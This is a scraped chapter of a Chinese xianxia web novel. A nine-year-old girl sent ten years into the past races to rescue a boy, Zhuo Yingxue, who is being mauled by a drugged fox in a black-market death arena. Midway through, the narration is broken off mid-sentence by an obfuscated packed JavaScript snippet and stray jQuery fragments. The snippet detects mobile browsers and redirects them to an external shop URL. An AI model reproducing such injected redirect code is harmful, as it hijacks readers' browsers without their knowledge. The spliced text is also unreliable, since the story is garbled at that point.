默认冷灰
24号文字
方正启体

1. 带他回去

作者:泛钟本书字数:K更新时间:
    “快点,再快点......”


    狭窄的道路两旁丛生荆棘,石块嶙峋不平,饶是满地银辉也教人难以辨认,一路狂奔的画时眠被横生的枝杈拦腰重重一击,再次摔了个狗吃屎,险些把昨天晚上吃的茶点吐出来。


    来不及呼痛,女孩儿再次爬起来,撒丫子向前奔跑。


    中指上的指环散发出微弱的白光,不知何时便会化为一缕薄烟消散,画时眠心中暗暗焦急,可眼下只有九岁的身体双腿实在太短,她都快抡冒烟了也提不起速。


    卓映雪到底在哪!


    白光虽如萤火忽明忽暗,但依然尽职地在为画时眠指明方向,至少说明这会儿卓映雪还没死。


    “师父啊......您可太会挑时间啦。”


    小腿肚子倏尔抽痛一软,画时眠实在跑不动了,靠在掉了一半树皮的枯树上捂着胸脯大口喘气暂作歇息,喉咙里翻涌出腥甜的气息,被她硬生生压了下去。


    小包里装着满满一沓画好的符箓,在她手中却犹如废纸。


    饶是在如今灵气如此丰饶的十年前,她这副天资平平甚至可以说是奇差的躯体也几乎运转不了丁点法力。


    更莫说是被邪祟煞气污染侵蚀的十年后了。


    画时眠扶住树干,咳得撕心裂肺,好容易缓过气儿来,便像看救命稻草一样盯着中指上师父留给自己的唯一遗物,眼底浮上一层水色。


    她甚至不敢闭眼,仿佛只要阖目一瞬,云台虚白上下一百二十余弟子尽数被屠的惨状便又会在脑海显现。


    十年后的修真界几乎不再存在纯净的灵气,不知从何而起的邪祟煞气如石背暗生的苔藓,潜移默化地吞噬、侵蚀灵气。


    初时只一点藏形匿影的斑驳,无人察觉,待众修士反应过来后,温润灵脉早已覆满阴翳,落得无可挽回的下场。


    煞气入体,高阶修士轻则修为停滞,重则心魔反噬;低阶修士轻则修为消散,重则爆体而亡。


    各个宗门所居之处灵脉日益枯竭,修真界一时人心惶惶,为寻找及争夺最后的净土,各个宗门陷入混战,中小宗门更是接连覆灭。


    画时眠所处的云台虚白也难逃此劫。


    云台虚白坐落云台谷中,乃是避世多年,最不入流的一个小宗门,若放在寻常世道根本无人提及,此刻却因占据一条微小但未被煞气污染的灵脉而成为被灭门的对象。


    除却毫无灵根修炼不得的画时眠侥幸苟活之外,师门上下共一百二十一名弟子,皆血溅云台谷。


    匹夫无罪,怀璧其罪,大抵便是如此。


    云台虚白的掌门——也就是画时眠师父执一真人闭关十年,恰逢此时出关,尚未将悟道十年得出的对策昭告天下,第一眼见到的,便是谷中遍地横尸,流血漂橹的场面。


    他一时急火攻心,万念俱灰,散尽全身修为、以永世不得超生作代价,开启宗门秘阵,将独活的画时眠送回十年前,寻找那传说中唯一能逆转死局的魔阴卓映雪。


    ——煞气既成,惟至阴之体承至阳之心,可返本归源,除邪祟,定乾坤。


    ——可笑为师穷心极力,算尽天机,竟未算出这世间最后一只魔阴也已身死道消,如今别无他法,眠眠,为师送你溯洄一秩,务必趁那魔阴还活着时寻他至身边,你谨记,需得时刻保他性命,护他周全,助其滋长心窍,直至心窍长成之日,生剖取心。届时,他便是挽回这乱世的唯一变数。


    ——切记,他活,则万物生;他损,便满盘输。


    “师父......”


    可是她还没有找到卓映雪,他就已经要死了。


    平日师父慈祥和蔼的面孔与临终前肃穆得近乎悲壮的神态合二为一,遗语言犹在耳,画时眠嘴一撇,滚下泪来,又用袖子草草拂去。


    没有时间供她歇息了,指环乃师父最后留给她的引魂灯,为她指引卓映雪的方向,却只能存在十二时辰,如今时间已过大半,她却仍有很长一段路没走完。


    师父不在,以后的路,都要她一个人来走了。


    女孩儿站斜在坡上,甩了甩被粗糙树皮割破的手,望向山下十里处亮着阑珊灯火的小镇,咬咬牙,卯足一口气,向下俯冲!


    “卓映雪,我来救你了,你可千万坚持住啊啊啊啊啊!”


    他也很想......继续坚持下去。


    发狂了的赤狐口中发出嘶哑凄厉的叫声,利爪划过寒光,再次朝刚刚稳住身形的男孩儿扑过去——


    锐物刺破皮肉的嗤声刺耳极了,血雾融进空气里,卓映雪躲闪不及,被赤狐压在身下,发出一声隐忍闷哼,距离擂台边缘堪堪一步之遥。


    “切,快滚下去吧!”


    “这小子命真大,在二阶赤狐手下竟能坚持到现在。”


    “妈的,他敢不坚持,老子可在他身上压了全身家当,他要是输了,老子当场砍了他的头当尿壶!”


    一名全身浮肿的跛脚男子挤开人群,人高马大往那一坐,朝地上啐了一口,目不转睛地恶狠狠盯着奋力推开赤狐,跌跌撞撞想要站起来的卓映雪,手中砍刀与地面摩擦,发出令人牙酸的咯吱声。


    话虽如此,但跛脚男子不信卓映雪真的不敌这赤狐。


    他之所以敢拿全身家当孤注一掷,心中自然有七八分把握。


    这小子天生蛮力,身手敏捷,前些日子刚在这生死擂上斩下一只三阶妖兽的脑袋,爆冷夺魁,替他赢了足足三千雪花银。


    区区二阶赤狐,他还不放在眼里。


    “瞧这李二得意的样子,真叫人恶心。”


    众人皆围在生死擂周围狂欢,无人在意的角落里,悄然传来两人窃窃私语的交谈声。


    “你急什么,我已提前喂这赤狐服下灵药,足以让它在短时间内提升两阶的修为,李二今天输定了。”


    山羊胡躲在柱子后,阴恻恻地咧开嘴,露出满口腥臭黄牙,“这好处还能让这李二一个人全得了么。”


    绿豆眼赔笑两声,眼珠咕噜一转,又忧心道:“那这赤狐该作何处理?”


    “找人杀了便是,切莫教人看出端倪。”


    绿豆眼彻底放下心来,略一拱手,哈哈大笑:“还是陈大人您有法子啊!”


    明晃晃的火光将两人丑恶的面孔投在白墙之上,宛若从地狱里爬上来的狰狞恶鬼。


    剧烈的痛感自前臂传来,眼见赤狐又要发动一轮攻击,卓映雪敏捷地向身侧一滚,用伤势较轻的左手撑地,直起身子。


    双足踝间连起的玄铁锁链叮当作响,卓映雪厌恶地瞥了一眼。


    碍事。


    卓映雪咽下喉中咸腥之气,抹去唇边溢出的血迹,一瘸一拐地与赤狐周旋。


    这赤狐不太对劲,二阶妖兽本不该有如此强烈的妖气,只怕是有人在它身上动了手脚。


    他手里只有一把已经卷了刃的短刀,仅凭这把短刀想要杀死一只发狂的赤狐,几乎不可能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585708|205247||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    可这地下黑市里的生死擂上哪里讲究点到为止,两方相搏,唯有一方身死,才算擂终。


    可他不想死在这里。


    这个处处充斥着肮脏与不堪的地方,不该是他的归宿。


    思忖间,赤狐周身的妖气还在增长,攻击也愈发狠戾,卓映雪找不到出手的机会,只能一味狼狈地闪躲,短短几个瞬息,他身上又多了几道深可见骨的伤口。


    这下饶是身为凡人俗子的李二也看出了不对,他腾一下站起来,口中叫骂道:“他娘的,是谁要阴老子,这赤狐绝对不止二阶!”


    “有人谎报妖兽等阶,司正呢,还不出来处理!”


    擂台上血肉横飞,正值赛点,围观者的叫好声一声高过一声,哪有人去细细辨得李二说了什么。


    “你娘的!”


    见无人理会自己,李二不敢惊动黑市背后的势力,只能懊恼地重新坐回去,暗自认栽,吃了这个哑巴亏。


    赌场有输有赢倒也正常,输钱事小,只是可惜了卓映雪这个摇钱树。


    依目前这形式看,李二估摸着他也坚持不了多久了。


    赤狐周身的妖气盛至顶峰,浓郁得几乎要化为黏稠实体,卓映雪再次被它压在身下,利爪穿透皮肉将他钉在地上,双臂白骨森然可见。


    额角破了一道口子,粘腻血河顺着眼尾蜿蜒而下,视野里只余一片血红,周身痛到麻木,卓映雪无神的双目微张,透过血色注视着擂台上方悬空的木梁。


    短刀被赤狐一尾掀飞,打在木桩上,四分五裂。


    罢了......


    也许他注定命绝于此。


    可笑他这一生短短十一载,尚未弄清来处,便迎来了归途。


    赤狐对他张开血盆大口,腥臭扑面而来,男孩儿认命地阖上双目,用尽最后的力气牵动破碎的唇角,留下苍白的弧度。


    “好样的赤狐!”


    “咬下去!咬下去!”


    可还是......好不甘心啊。


    赤狐利齿已抵在细嫩的颈间,只需稍一用力,他便会血溅当场。


    空荡荡的心口倏然变得滚烫,剧痛随之而来,身体仿佛被撕裂一般,像是有一双看不见的手将体内每一寸脉络、每一块血肉生生扯断,又一针针缝补,比方才与赤狐搏斗时留下的伤痛还要更胜千倍万倍!


    卓映雪骤然睁开双目,瞳孔变得狭长,飞快地闪过一抹金光,他似乎感应到了什么,还来不及捕捉,便听见擂台下方传来一道急促的童声与利刃贯穿皮肉的声音同时响起:


    “还不叫孽畜口下留人!看好了,我乃袭无宗宗主衔日仙君画祺安之女画时眠,今特奉家父之命,将卓映雪带回袭无宗!”


    是个小女孩儿的声音,尾音还因为焦急过度而可笑地劈了叉。


    身上陡然一轻,被一剑封喉的赤狐哀啼一声,软绵绵地倒了下去。


    剧痛来得莫名,去得也莫名,卓映雪顿时卸了力,艰难地扭头,与擂台下身穿暖橘色衣裙的气喘吁吁的小女孩儿对上了目光。


    看见自己,她随即笑得张扬灿烂,像深秋里熟透了的甜柿,砸在他心口,空洞荒芜之地就此悄然破土,于黯淡中生出暖色的花。


    小女孩儿欣喜极了,一把把那象征着她高贵身份的令牌扔在身后,吭哧吭哧爬上擂台,噗通一声跪坐在他身边,任凭脏污血液浸透她的裙摆。


    “卓映雪,我是来救你的!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)